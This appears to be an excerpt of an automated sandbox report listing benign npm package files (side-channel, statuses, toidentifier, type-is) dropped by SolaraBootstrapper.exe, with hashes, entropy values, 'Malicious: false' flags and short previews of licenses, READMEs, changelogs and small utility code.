SHA-512:	3E9D6E0BE3FBDA37247A87A3DAF76619CAAB6F10518AB2CEEA0BF61FFB48A26753113E436D5AF777B42E906033BAF858795FA8DE4C129E75923C90F8C0533D2B
Malicious:	false
Preview:	{.."name": "side-channel",.."version": "1.0.6",.."description": "Store information about any JS value in a side channel. Uses WeakMap if available.",.."main": "index.js",.."exports": {..."./package.json": "./package.json",...".": "./index.js"..},.."types": "./index.d.ts",.."scripts": {..."prepack": "npmignore --auto --commentLines=autogenerated",..."prepublishOnly": "safe-publish-latest",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."prelint": "eclint check $(git ls-files \| xargs find 2> /dev/null \| grep -vE 'node_modules\|\\.git')",..."lint": "eslint --ext=js,mjs .",..."postlint": "tsc -p .",..."pretest": "npm run lint",..."tests-only": "nyc tape 'test/*/.js'",..."test": "npm run tests-only",..."posttest": "aud --production",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""..},.."repository":

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\test\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1959
Entropy (8bit):	4.858672772105557
Encrypted:	false
SSDEEP:	48:jGYJuJv05eTbZXwR3zYI32xe/wx/6NSEPlaT26UwW:KVR26GDYQ2AwVeSEtaT26Uf
MD5:	A92F4AA888D8A92C83E4F541BE478068
SHA1:	AB1399D89EB6D431DB6C17160A10A71FA3562EFA
SHA-256:	966BDD1F6EC740CF64049B8542A4B90996986C16FC837FD7F6DB5971DE7FFBCA
SHA-512:	C4DE86AF66E676A9AF0908FA0BBA93C36AE592E0C5AA762D409F2E779C740AB38D4C9B1F059CD1E3024C525299CA40AAC5AC447DB3394EE026CD7B34DDB84ED4
Malicious:	false
Preview:	'use strict';..var test = require('tape');..var getSideChannel = require('../');..test('export', function (t) {..t.equal(typeof getSideChannel, 'function', 'is a function');..t.equal(getSideChannel.length, 0, 'takes no arguments');...var channel = getSideChannel();..t.ok(channel, 'is truthy');..t.equal(typeof channel, 'object', 'is an object');...t.end();.});..test('assert', function (t) {..var channel = getSideChannel();..t['throws'](...function () { channel.assert({}); },...TypeError,...'nonexistent value throws'..);...var o = {};..channel.set(o, 'data');..t.doesNotThrow(function () { channel.assert(o); }, 'existent value noops');...t.end();.});..test('has', function (t) {..var channel = getSideChannel();../** @type {unknown[]} */ var o = [];...t.equal(channel.has(o), false, 'nonexistent value yields false');...channel.set(o, 'foo');..t.equal(channel.has(o), true, 'existent value yields true');...t.equal(channel.has('abc'), false, 'non object value non existent yields false');...chan

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\tsconfig.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3195
Entropy (8bit):	4.736326326543835
Encrypted:	false
SSDEEP:	48:cj+2nTY8LdkWoltx4I8OjMGqoqZjuJGJkeGzJfYMT2s+Tmz:I+WWtx4ITjDqoql+Ok3AMqs+Tmz
MD5:	D8A043C42FC4D89057F4DD4BE72C3EA9
SHA1:	47D00B1A54AFD2080104036E09A565C8F9F670DF
SHA-256:	55D3CA9EE2A017D8D9A969C47FD7623B4619CDD29010B5CDECBF7C88B42D23A7
SHA-512:	C9966A66202E6F816AE76A855B0E116E2E1C09C2D81BD42D940B3464467E526DE85AD0F2DB320DBB5FDEDA6793B750E2D445F7510C743031FB3BF13D94441B42
Malicious:	false
Preview:	{.."compilerOptions": {.../* Visit https://aka.ms/tsconfig.json to read more about this file /..../ Projects /..../ Language and Environment /..."target": "es2022",................./ Set the JavaScript language version for emitted JavaScript and include compatible library declarations. /...// "lib": [],..................../ Specify a set of bundled library declaration files that describe the target runtime environment. /...// "noLib": true,................../ Disable including any library files, including the default lib.d.ts. /..."useDefineForClassFields": true,.......... / Emit ECMAScript-standard-compliant class fields. /...// "moduleDetection": "auto",............/ Control what method is used to detect module-format JS files. /..../ Modules /..."module": "commonjs",................/ Specify what module code is generated. /...// "rootDir": "./",................./ Specify the root folder within your source files. /...// "moduleResolution": "node",........... / S

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\statuses\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	4.820897399885229
Encrypted:	false
SSDEEP:	24:D8OZyFWGzWEoDJpzLxiceIpYKDnWHgrAtZaxSodAd4ZQ2CSaG1U:QgHD1iapYKu1OjdA1SagU
MD5:	8AF2A0A8CAAD8A309A0947248658F3C5
SHA1:	31B35B6101BAD5827C9F686DFB021C884736684A
SHA-256:	41762CE40AAE520BBD476B81288EC5FB717BA11DA9409DBE74F782AA5F71D04D
SHA-512:	7AF380BED9615120F69EF5B1B77EC3B2FD287BA24BD2EE74F64CA5F715835C6F693165570DA75529FFAB82750D7115DF9B84E10D7FD959063A974B6DD9193D0D
Malicious:	false
Preview:	2.0.1 / 2021-01-03.==================.. * Fix returning values from `Object.prototype`..2.0.0 / 2020-04-19.==================.. * Drop support for Node.js 0.6. * Fix messaging casing of `418 I'm a Teapot`. * Remove code 306. * Remove `status[code]` exports; use `status.message[code]`. * Remove `status[msg]` exports; use `status.code[msg]`. * Rename `425 Unordered Collection` to standard `425 Too Early`. * Rename `STATUS_CODES` export to `message`. * Return status message for `statuses(code)` when given code..1.5.0 / 2018-03-27.==================.. * Add `103 Early Hints`..1.4.0 / 2017-10-20.==================.. * Add `STATUS_CODES` export..1.3.1 / 2016-11-11.==================.. * Fix return type in JSDoc..1.3.0 / 2016-05-17.==================.. * Add `421 Misdirected Request`. * perf: enable strict mode..1.2.1 / 2015-02-01.==================.. * Fix message for status 451. - `451 Unavailable For Legal Reasons`..1.2.0 / 2014-09-28.==================.. * Add `208 Alre

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\statuses\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	5.173454209157481
Encrypted:	false
SSDEEP:	24:8FMpfrmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:8FMpfaJHlxE35QHOs5exm3ogF5n
MD5:	36E2BC837CE69A98CC33A9E140D457E5
SHA1:	4D50453741267C3B931C605E9316DABBFA641117
SHA-256:	512CFA4D5E7A7569C7AE4DD95241CB6AE2AAF648EF9EBD080C01BD24868D26E9
SHA-512:	5CC6A4D89A5DCB1A9DE765BC74B766CB8BB80718A7A89AEDBDC3F7B981FDC2FFAB7382EEB3F1CA15AF88ADAD3232C79C43094AD15B21DDBE87243C1643AE0641
Malicious:	false
Preview:	.The MIT License (MIT)..Copyright (c) 2014 Jonathan Ong <me@jongleberry.com>.Copyright (c) 2016 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\statuses\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	3559
Entropy (8bit):	5.04694498515446
Encrypted:	false
SSDEEP:	48:EdC9vR/vnNdXMoNj5W/BzQjXjHI5ptZF/4/I8pYTX3eWczlKJn+CBzA19:ACLvN15QzmI5CjYyBKJ+j
MD5:	EEE769AE22B8D78E06C654220B9D4A30
SHA1:	B8F4EE6EE29D4757C5156003190D9FAAB8D1D46D
SHA-256:	CFED51FFE74E16E4D6945854D440366E0CA9F349D84807ED5AD0BDDDE2F006F4
SHA-512:	EA1B560066D660473CE05DAA94BA66F38329D81D443F23A1D98FB6366AC0F11B351FA08F848B1AB2A678EBC34322D2FFCC918E44AC861755E2437B5EE3570D6F
Malicious:	false
Preview:	# statuses..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][ci-image]][ci-url].[![Test Coverage][coveralls-image]][coveralls-url]..HTTP status utility for node...This module provides a list of status codes and messages sourced from.a few different projects:.. * The [IANA Status Code Registry](https://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml). * The [Node.js project](https://nodejs.org/). * The [NGINX project](https://www.nginx.com/). * The [Apache HTTP Server project](https://httpd.apache.org/)..## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install statuses.```..## API.. eslint-disable no-unused-vars -->..```js.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\statuses\codes.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1789
Entropy (8bit):	4.814481084626097
Encrypted:	false
SSDEEP:	48:jsaTUBfhUefZVD/4Cisf6p3+pf1n3pbNC:gWUBfJfww6p3+1y
MD5:	8FE432AAB55E65B4ED24A6753D5E53CA
SHA1:	895FEAB83D6F7AAB850842B5332B2F2AA7F2A344
SHA-256:	D2DAA083F11600277BD2BF9823BB48EDE916A5B0924D2991D6BC4CE331D5604B
SHA-512:	B36C6E6952262DF585557B08A01292AED3AC474634C949DA8457CF99D70B210604C75E11AEC5BEF850B20F0783E6C128D5F4513F4F92C71791752C6011C4A2D2
Malicious:	false
Preview:	{. "100": "Continue",. "101": "Switching Protocols",. "102": "Processing",. "103": "Early Hints",. "200": "OK",. "201": "Created",. "202": "Accepted",. "203": "Non-Authoritative Information",. "204": "No Content",. "205": "Reset Content",. "206": "Partial Content",. "207": "Multi-Status",. "208": "Already Reported",. "226": "IM Used",. "300": "Multiple Choices",. "301": "Moved Permanently",. "302": "Found",. "303": "See Other",. "304": "Not Modified",. "305": "Use Proxy",. "307": "Temporary Redirect",. "308": "Permanent Redirect",. "400": "Bad Request",. "401": "Unauthorized",. "402": "Payment Required",. "403": "Forbidden",. "404": "Not Found",. "405": "Method Not Allowed",. "406": "Not Acceptable",. "407": "Proxy Authentication Required",. "408": "Request Timeout",. "409": "Conflict",. "410": "Gone",. "411": "Length Required",. "412": "Precondition Failed",. "413": "Payload Too Large",. "414": "URI Too Long",. "415": "Unsupported Media Type",. "

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\statuses\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2610
Entropy (8bit):	4.799283166041097
Encrypted:	false
SSDEEP:	48:GXuRdjBVX/YHIBzNmqHmeDiZ/oL6T7od3jNiRAYq1iYq+QTXSM:2ajH/od26mjwAQT+yXSM
MD5:	7C5205330288C271E7582C282E40D21A
SHA1:	D9C8B2F32DED4AFCF305665C3369E59718A699E6
SHA-256:	96A0698E899F5889CF254D1F2E351F3253A37921C7F87269B0E87A497DEC666A
SHA-512:	688EB30F0D28F165415A1888283B473C403D23BA09AAD1C4FEF9480D7009A3352648C4C2B7AA2AADA6FA08423CE181E98157AAC7825A290F74434EA8448F1F5B
Malicious:	false
Preview:	/!. statuses. * Copyright(c) 2014 Jonathan Ong. * Copyright(c) 2016 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var codes = require('./codes.json')../. Module exports.. * @public. /..module.exports = status..// status code to message map.status.message = codes..// status message (lower-case) to code map.status.code = createMessageToStatusCodeMap(codes)..// array of status codes.status.codes = createStatusCodeList(codes)..// status codes for redirects.status.redirect = {. 300: true,. 301: true,. 302: true,. 303: true,. 305: true,. 307: true,. 308: true.}..// status codes for empty bodies.status.empty = {. 204: true,. 205: true,. 304: true.}..// status codes for when you should retry the request.status.retry = {. 502: true,. 503: true,. 504: true.}../. Create a map of message to status code.. * @private. */..function createMessageToStatusCodeMap (codes) {. var map = {}.. Object.keys(codes).forEach(f

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\statuses\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1440
Entropy (8bit):	4.832311815218477
Encrypted:	false
SSDEEP:	24:ngVI1GbxVWbeKpadVQquQCFPIZBlWJVgn0AqpcMcswc/boO7xLAwgEq105P6u:ngaGdVWbeKpajQquQCFPITUJCBKRoO73
MD5:	210CDA9D522BAB0911DFF42346DEE4BE
SHA1:	3328D9BFC82E4F981A1ACD2F3F78C524BF85333C
SHA-256:	53BD1B14E481356BF004C0A45F9022D07FBC56BFE849115E141BA302C8818275
SHA-512:	8BAF4A077586EFC571B3B32C64DFDE8A2A0AEB4ECEA91E016FF96E40051C0DE4E6C09CDB8C0711A2731A77120D9ACEAC0BF2077D0E14E28853FEF90D512AB620
Malicious:	false
Preview:	{. "name": "statuses",. "description": "HTTP status utility",. "version": "2.0.1",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)". ],. "repository": "jshttp/statuses",. "license": "MIT",. "keywords": [. "http",. "status",. "code". ],. "files": [. "HISTORY.md",. "index.js",. "codes.json",. "LICENSE". ],. "devDependencies": {. "csv-parse": "4.14.2",. "eslint": "7.17.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.22.1",. "eslint-plugin-markdown": "1.0.2",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "4.2.1",. "eslint-plugin-standard": "4.1.0",. "mocha": "8.2.1",. "nyc": "15.1.0",. "raw-body": "2.4.1",. "stream-to-array": "2.3.0". },. "engines": {. "node": ">= 0.8". },. "scripts": {. "build": "node scripts/build.js",. "fetch": "node scripts/fetch-apache.js && node scripts/fetch-i

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\toidentifier\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	128
Entropy (8bit):	4.001704000816424
Encrypted:	false
SSDEEP:	3:SVfRUdSF9auv7L3mTolYnFhF4:SKSyuv/mTog2
MD5:	97E13024947E8F5344B81F81F299118B
SHA1:	8A71328D8FB1D0F995793F731F5BE462FD48D048
SHA-256:	4839C59F4E7364D7DB5746D3F63FB54C0E81AA8B2C7DBD20009438D1D0864CF0
SHA-512:	CC4CE0C27B5AD41D6376073802E417A5A3848286791ACC3B365A72D9AA92CA404EB30D4D5F92964643A6E2B0B58FC6DC5F7AF56CE4E7907F31F818BC2A46A513
Malicious:	false
Preview:	1.0.1 / 2021-11-14.==================.. * pref: enable strict mode..1.0.0 / 2018-07-09.==================.. * Initial release.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\toidentifier\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1108
Entropy (8bit):	5.123579025270232
Encrypted:	false
SSDEEP:	24:urmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:uaJHlxE3dQHOs5exm3ogFh
MD5:	1A261071A044D02EB6F2BB47F51A3502
SHA1:	3E2A9FED4450C1CB906E8E143AE9327C2542EE4D
SHA-256:	A832D679750E49AB433626AB196350B89964B60EB0D3EDD3341887C7D5F4C128
SHA-512:	AC92FC0235765E95A55F1415B04BD3A856867AC371F100CC06B579DB2761F06F22FE6F15A152705BE851D93F3556A7233931A23EFD6A48E1B82C17CFFBB5DF2E
Malicious:	false
Preview:	MIT License..Copyright (c) 2016 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHER

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\toidentifier\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1803
Entropy (8bit):	5.060708957620034
Encrypted:	false
SSDEEP:	48:IqXhIvI5xdXMoNjT16C24arMIRaVIEmVd:TXeQ5x15f16Q6JRaiEmX
MD5:	F4A4BDB58E15B4A187D4D51DEB32C8DD
SHA1:	4B9FD35B2A669B33D43D25423543AB2BD522C144
SHA-256:	BBC5B74840438EC9D0D189C10C013C3E0AD9E0ADD6F09CB16034B8F693D73FF8
SHA-512:	6913DACA56C988F00C2F5A436BDF14A40D9E3B3D94D82735398C646EEAADB56E525091EBA358745215BAA75E89920D88D09FA6D2D7018452F6FCC310D949DE29
Malicious:	false
Preview:	# toidentifier..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Build Status][github-actions-ci-image]][github-actions-ci-url].[![Test Coverage][codecov-image]][codecov-url]..> Convert a string of words to a JavaScript identifier..## Install..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```bash.$ npm install toidentifier.```..## Example..```js.var toIdentifier = require('toidentifier')..console.log(toIdentifier('Bad Request')).// => "BadRequest".```..## API..This CommonJS module exports a single default function: `toIdentifier`...### toIdentifier(string)..Given a string as the argument, it will be transformed according to.the following rules and the new string will be returned:..1. Split into words separated by space characters (`0x20`)..2. Upper cas

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\toidentifier\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	504
Entropy (8bit):	4.827349515069804
Encrypted:	false
SSDEEP:	12:Usp+YNwtlXZAtB5azEYpX5v2Rnm0cdr5rRcA:L+RpAtBczEwvqUzRcA
MD5:	B7A1B5C3F74FF7E0A11B61D56673AFA0
SHA1:	FC66E4445021B49B1F4386CA72CAD654DC408D34
SHA-256:	F9F26B0E90E2569B61D02EF2A92718624B8854592B1EDE7F2C8879A69CFDBA05
SHA-512:	96163678827F633CBEA608AF831F018DB8577EE22543D6DFD6550A176FE84B4B78550DFB5ECBFE60F1096438B3CE485FBCE86288EBDCE8B6D90484D7CDA079CE
Malicious:	false
Preview:	/!. toidentifier. * Copyright(c) 2016 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = toIdentifier../. Trasform the given string into a JavaScript identifier. . @param {string} str. * @returns {string}. * @public. */..function toIdentifier (str) {. return str. .split(' '). .map(function (token) {. return token.slice(0, 1).toUpperCase() + token.slice(1). }). .join(''). .replace(/[^ _0-9a-z]/gi, '').}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\toidentifier\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1142
Entropy (8bit):	4.860927237671107
Encrypted:	false
SSDEEP:	24:NBCV1TxVzqH0YuNCeRIZCLlWi2poZKLl105P6u:7cVV9YuNCeRIQUloo703
MD5:	FD6E2543A1B015CC443C7A2DCC4E3668
SHA1:	E8FE1D02A381B71A33E41588AE26746D34FA4903
SHA-256:	F34C59F784D43DA6E633390D85D14CA60539B4676159444F313C62FCFC3B68DC
SHA-512:	C08DA7B7852C9B297A29F6FB5DCF51A67B513CAEC17474ACECBCF324C5615601FE99744BD49E90F0A21D8A5710ABD58E78B4A89D9CA0E4B0B1F29584BA54B57E
Malicious:	false
Preview:	{. "name": "toidentifier",. "description": "Convert a string of words to a JavaScript identifier",. "version": "1.0.1",. "author": "Douglas Christopher Wilson <doug@somethingdoug.com>",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Nick Baugh <niftylettuce@gmail.com> (http://niftylettuce.com/)". ],. "repository": "component/toidentifier",. "devDependencies": {. "eslint": "7.32.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.25.3",. "eslint-plugin-markdown": "2.2.1",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "4.3.1",. "eslint-plugin-standard": "4.1.0",. "mocha": "9.1.3",. "nyc": "15.1.0". },. "engines": {. "node": ">=0.6". },. "license": "MIT",. "files": [. "HISTORY.md",. "LICENSE",. "index.js". ],. "scripts": {. "lint": "eslint .",. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-ci": "nyc --reporter=lcov --reporter=text npm test",

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\type-is\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5447
Entropy (8bit):	4.788280765441003
Encrypted:	false
SSDEEP:	48:oZntLPqJhX3LWD9H01NO+3B63fTuQ+OCWy90WiKDuINQo+lPxVJSzkWq4KL39f6/:atzIHB6fKuOP+xGb3K79fdq
MD5:	6025A974D281159ED5421301B58FD126
SHA1:	767D7F2B0484283242C6A9FF84EE4EF85E79403C
SHA-256:	B32B37E94681B90954E8E6D29CAEF74A6B864055292634C36FB58FB50A9BDDAE
SHA-512:	188514E22DBAB6F55FB65266513F736F918856D34DC2F6FC23FFEA57A83DEFDCF26140D1382AF70A1759E7382D587D376740C5D00FD7E7081246290CAF0E80CB
Malicious:	false
Preview:	1.6.18 / 2019-04-26.===================.. * Fix regression passing request object to `typeis.is`..1.6.17 / 2019-04-25.===================.. * deps: mime-types@~2.1.24. - Add Apple file extensions from IANA. - Add extension `.csl` to `application/vnd.citationstyles.style+xml`. - Add extension `.es` to `application/ecmascript`. - Add extension `.nq` to `application/n-quads`. - Add extension `.nt` to `application/n-triples`. - Add extension `.owl` to `application/rdf+xml`. - Add extensions `.siv` and `.sieve` to `application/sieve`. - Add extensions from IANA for `image/` types. - Add extensions from IANA for `model/` types. - Add extensions to HEIC image types. - Add new mime types. - Add `text/mdx` with extension `.mdx`. * perf: prevent internal `throw` on invalid type..1.6.16 / 2018-02-16.===================.. * deps: mime-types@~2.1.18. - Add `application/raml+yaml` with extension `.raml`. - Add `application/wasm` with extension `.wasm`.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\type-is\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	5.194993512942844
Encrypted:	false
SSDEEP:	24:vSiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:vSiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	0AFD201E48C7D095454EED4AC1184E40
SHA1:	6A4ED3B5E9CFF68AF7593DFCB8BE3C1CBEA837D0
SHA-256:	23D466B1B134B415B66FA50C6526B4CF3E7B9258554DA88D3ABB371721E7CE68
SHA-512:	EBC137C01C13DA9D90FD411729B10CB15E6B7EA3F31A6B9DD23D0A769AEFE61CBEA7368C36698B0D562E85DCA08EBCAA59996F9653295A1C79252CBA3DA3D3AD
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014 Jonathan Ong <me@jongleberry.com>.Copyright (c) 2014-2015 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\type-is\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	5183
Entropy (8bit):	4.947834154680962
Encrypted:	false
SSDEEP:	96:FCk15H39n7fKmAzLwWq2IX8AfKizfQIVGuMEeVjvWj:FCE3Vqq2IXPhVGpOj
MD5:	2683527A9B2FAADD364A0EAB9CC00935
SHA1:	B624A667819B1A0E66A842144092EDCB789C30D9
SHA-256:	FFCB49607E72EBA2ED8B37C854762381E7D2DF2714CBDA5B921CED25841581AD
SHA-512:	71EA5CEA73C5E541890BB31AE5A90A88CA19A7565B0A2957AFA0F875DFB596F9B745EE1D310D2149CEDDEBB7008EF8445FF6B71B4E3E0456FF8B7B1A59AF974A
Malicious:	false
Preview:	# type-is..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][travis-image]][travis-url].[![Test Coverage][coveralls-image]][coveralls-url]..Infer the content-type of a request...### Install..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install type-is.```..## API..```js.var http = require('http').var typeis = require('type-is')..http.createServer(function (req, res) {. var istext = typeis(req, ['text/*']). res.end('you ' + (istext ? 'sent' : 'did not send') + ' me text').}).```..### typeis(request, types)..Checks if the `request` is one of the `types`. If the request has no body,.even if there is a `Content-Type` header, then `null` is returned. If the.`Content

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\type-is\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5562
Entropy (8bit):	4.8858002111817385
Encrypted:	false
SSDEEP:	96:pr6k1rbodiocKqn9rlsI87r34KKBEZdmx3Z4vF25XhPwc72OS0BkHfLZ:prn1rbeiSq9+QKap045XhB7/S0BkHfLZ
MD5:	F9AA3AFDC332ADAE59AA21D31090582D
SHA1:	7B36DDD28B09D31B459E9CBD15476DEC2FAC3FDB
SHA-256:	4A94338BD746C6B17DD8681F21124F84ED2CDD4A16022849D28900D5E568642A
SHA-512:	EB56ECD48A228933ED5BF0055791FEE237BDA3C609CDF84DF021D68EF5922401B18A1C5C9099B0A3A15091BEB61C5837A9A847355271CFCAEF4CDCE00F2BE474
Malicious:	false
Preview:	/!. type-is. * Copyright(c) 2014 Jonathan Ong. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var typer = require('media-typer').var mime = require('mime-types')../. Module exports.. * @public. /..module.exports = typeofrequest.module.exports.is = typeis.module.exports.hasBody = hasbody.module.exports.normalize = normalize.module.exports.match = mimeMatch../. Compare a `value` content-type with `types`.. * Each `type` can be an extension like `html`,. * a special shortcut like `multipart` or `urlencoded`,. * or a mime type.. . If no types match, `false` is returned.. * Otherwise, the first `type` that matches is returned.. . @param {String} value. * @param {Array} types. * @public. */..function typeis (value, types_) {. var i. var types = types_.. // remove parameters and normalize. var val = tryNormalizeType(value).. // no type or invalid. if (!val) {. return false. }.. //

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\type-is\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1133
Entropy (8bit):	4.78736433018023
Encrypted:	false
SSDEEP:	24:YZj1ZxVWbexf3YUgTYh3WZMCWxFXtoO70e:Y7PVWbe9YUg0hGqBxltoO7t
MD5:	FFA244D8A6F745A081A0CDDE026879C9
SHA1:	28D55C4730FDACF9019317FAE0BA93A0B6AEBD0B
